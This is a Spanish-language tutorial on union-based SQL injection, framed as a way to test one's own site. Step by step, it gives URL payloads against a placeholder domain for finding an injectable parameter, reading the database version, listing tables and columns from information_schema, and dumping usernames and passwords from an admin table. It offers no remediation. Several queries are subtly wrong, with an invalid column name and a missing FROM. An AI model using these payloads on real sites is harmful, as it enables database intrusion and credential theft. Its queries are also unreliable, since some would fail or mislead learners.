Documentos de Académico
Documentos de Profesional
Documentos de Cultura
Guia Injection SQL (Sqli) PDF
Guia Injection SQL (Sqli) PDF
BY HGP
Contenido
¿Que es?.
Descripción.
¿En que lenguaje veremos su uso?.
Como saber si el sitio es vulnerable.
Proseguir si el sitio Web es vulnerable.
Explorar tu information_schema.tables
Viendo tu usuario y password para saber tu seguridad.
Conclusión.
1.¿Que es?
La Inyección SQL o SQLi es una vulnerabilidad centrada en consultas de la base de datos de una
aplicación, esta vulnerabilidad puede estar en todo tipo de lenguajes de programación como por ejemplo
PHP, JAVA, PERL, C#, ASP, etc.
2.Descripción
Una Inyección SQL o SQLi suele suceder cuando se inyecta un código SQL al lenguaje para alterar el
contenido y su funcionamiento normal y hacer que se ejecute el código malicioso en la base de datos. La
mayor de las veces estos errores en las SQL son por la ignorancia del lenguaje pero este código puede
ser reparado por programadores o personas que tengan el conocimiento suficiente para poder reparar el
error.
pagina.cl/index.php
pagina.cl/search.php?id=NUMERO
pagina.cl/menu.php?act=NUMERO
pagina.cl/index.php?opc=NUMERO
Algunos de esos podrían tener una vulnerabilidad SQLi para poder saber si tiene una vulnerabilidad habrá
que hacer una consulta como:
pagina.cl/search.php?id=-1
pagina.cl/menu.php?act='2
pagina.cl/index.php?opc=99999999999999999999999999
Hay que probar con esas que son las básicas, en la primera sale -1, las páginas siempre están con
números positivos es raro ver una página Web que tenga opciones con -1, -2 entonces causa de esto
puede salir un error de SQLi, la pantalla podría ponerse blanca, etc.
En la segunda es un '2, ¿por qué '?, porque ' es un signo que no se usa en las páginas webs, o acaso has
visto una Web que use ', el 2 es cualquier número pero la mayoría de las veces resulta el número 2, para
saber si funciona sale lo mismo que en el ejemplo anterior.
En la tercera nunca ponen tantos números si te das cuenta casi siempre el usuario admin es pagina.cl o 1
porque es el primer miembro que estuvo pero si yo pongo pagina.cl la pagina Web colapsa y entregaría
errores.
Ejemplo de error:
PD: IMPORTANTE, si la web es vulnerable los 99999999 y -1 solo pueden continuar, el '2 da
errores.
Si el sitio Web resulta vulnerable, y si es tú Web tendrías que saber si entrega datos importantes como la
"Information_schema.tables", que contiene toda información de el sitio Web, las columnas, tablas, etc.
pagina.cl/users.php?id=-1+
Tenemos que poner el signo "+" pero obviamente antes la vulnerabilidad encontrada
luego debemos hacer un union+select+ que es para unir la selección de la vulnerabilidad y seguir, ahora:
pagina.cl/users.php?id=-1+union+select+
Quedaría así, como ya tenemos eso ahora debemos poner los números para ver que numero es el que
tiene el error, una de las formas que se utiliza es así:
pagina.cl/users.php?id=-1+union+select+1,2,3,4,n
Tenemos que hacer esto asta que la web muestre números o cambie, pero debe mostrar números esos
números que muestre son los errores, entonces podemos ver si nuestra Web es vulnerable o no, para
saber tenemos que ver la versión:
pagina.cl/users.php?id=-1+union+select+1,2,3,@@version,5,6,7,8,9
Si fuera tu Web y es vulnerable podría decir algo como: 5.0.38-Ubuntu_0ubuntu1.4ahora que tenemos la
versión este es un breve resumen de las versiones:
Versión 5.X.XX tienen information_schema.tables (Mas Probabilidad de ser atacadas)
pagina.cl/users.php?id=-1+union+select+1,2,3,group_concat(table_name),5,6,
7,8,9+information_schema.tables
El código en si explicado es cambiar el numero que tiene error (que se muestra) por
"group_concat(table_name)" que significa que busca el grupo de tablas (Todas) luego de eso seguimos
con los otros números y al final se le agrega "+information_schema.tables", si te tira cosas como:
"CHARACTER_SETS,COLLATIONS,COLLATION_CHARACTER_SET _APPLICABILITY,etc."
Pero el codigo anterior es un poco desordenado este es otro compuesto por frases en hexadecimal:
pagina.cl/users.php?id=-1+union+select+1,2,3,replace(group_concat(table_na
me),0x2C,0x3C62723E),5,6,7,8,9+information_schema. tables
6.Explorando tu information_schema.tables
Ahora que sabemos que en nuestro sitio es visible el information_schema.tables, debemos saber que
información obtendrá el atacante.
primero debemos saber que queremos explorar... como por ejemplo usuarios
las paginas web no son tan "prehistóricas" para solo poner usuarios y te saldrán los datos así que
encriptaremos la tabla que queramos ver a ASCII.
(Convertidor: String to ASCII chart, ASCII to decimal convertor, String to decimal converter, string
hexadecimal / hex conversion)
Codificamos a ascii la tabla que queramos y la dejamos anotada, la mía es (97 100 109 105 110)
a nuestro código en ASCII le sacamos los espacios y los remplazamos por comas:
97,100,109,105,110
Ahora volvemos a el código para ver el information_schema.tables, pero ahora lo que vamos a ver son
columnas (Son lo que esta dentro de una tabla) Ejemplo:
Tabla: Admin
Columna: ID, User_Name, Password, Email
pagina.cl/users.php?id=-1+union+select+1,2,3,replace(group_concat(table_na
me),0x2C,0x3C62723E),5,6,7,8,9+information_schema. tables
quedaría así:
pagina.cl/users.php?id=-1+union+select+1,2,3,replace(group_concat(table_co
lumn),0x2C,0x3C62723E),5,6,7,8,9+information_schem a.columns
Ahora nos tiraría datos que no habíamos visto, pero ignoren esto, ya que no es muy importante ahora lo
que tienen que hacer es agregar después de .columns esto:
Quedaría así:
pagina.cl/users.php?id=-1+union+select+1,2,3,replace(group_concat(table_co
lumn),0x2C,0x3C62723E),5,6,7,8,9+information_schem a.columns+where+table_name=char(ASCII)-
-
Ahora ya sabemos lo que esta dentro de la tabla que queríamos!, hemos explorado nuestra
information_schema.tables eso es un gran avance.
pagina.cl/users.php?id=-1+union+select+1,2,3,4,5,6,7,8,9
¿Cierto?, Bueno ahora manos a la obra (Frase Prehistórica), Bueno nosotros sabemos que el código
donde esta el error es el que se ve en la pagina web que es un número; en esta guía el número es 4 así
que remplazaremos el numero 4 por concat(Columna,0x3d,Columna).
pagina.cl/users.php?id=-1+union+select+1,2,3,concat(Columna,0x3d,Columna), 5,6,7,8,9
No me refiero a que se deba poner sí o sí "Columna" eso se debe renombrar por los datos que nos dio el
information_schema.columns, como el ejemplo que di:
Tabla: Admin
Columna: ID, User_Name, Password, Email
pagina.cl/users.php?id=-1+union+select+1,2,3,concat(User_Name,0x3d,Passwor d),5,6,7,8,9
Ahora tengo que decirles que este código no esta completo, al final de los números les
agregamos +from+Tabla--
pagina.cl/users.php?id=-1+union+select+1,2,3,concat(Columna,0x3d,Columna),
5,6,7,8,9+from+admin--
y renombrando quedaría:
pagina.cl/users.php?id=-1+union+select+1,2,3,concat(User_Name,0x3d,Passwor
d),5,6,7,8,9+from+admin--
Ahora te podria dar tu usuario y clave, si te deniega es porque tu host es mas seguro de lo que pensabas,
si te las da, procura que nadie sepa el error antes que tu y arreglalo.
8.Conclusión
Ahora sabemos que nuestro sitio es vulnerable (o no) tenemos que reparar el error, eso no esta en este
tutoría, ya que los errores varían, este tutorial no es para destruir páginas sino para la seguridad
informática de nuestro sitio Web, dedicado a CHW.CL y a todos los que tengan sed de aprender.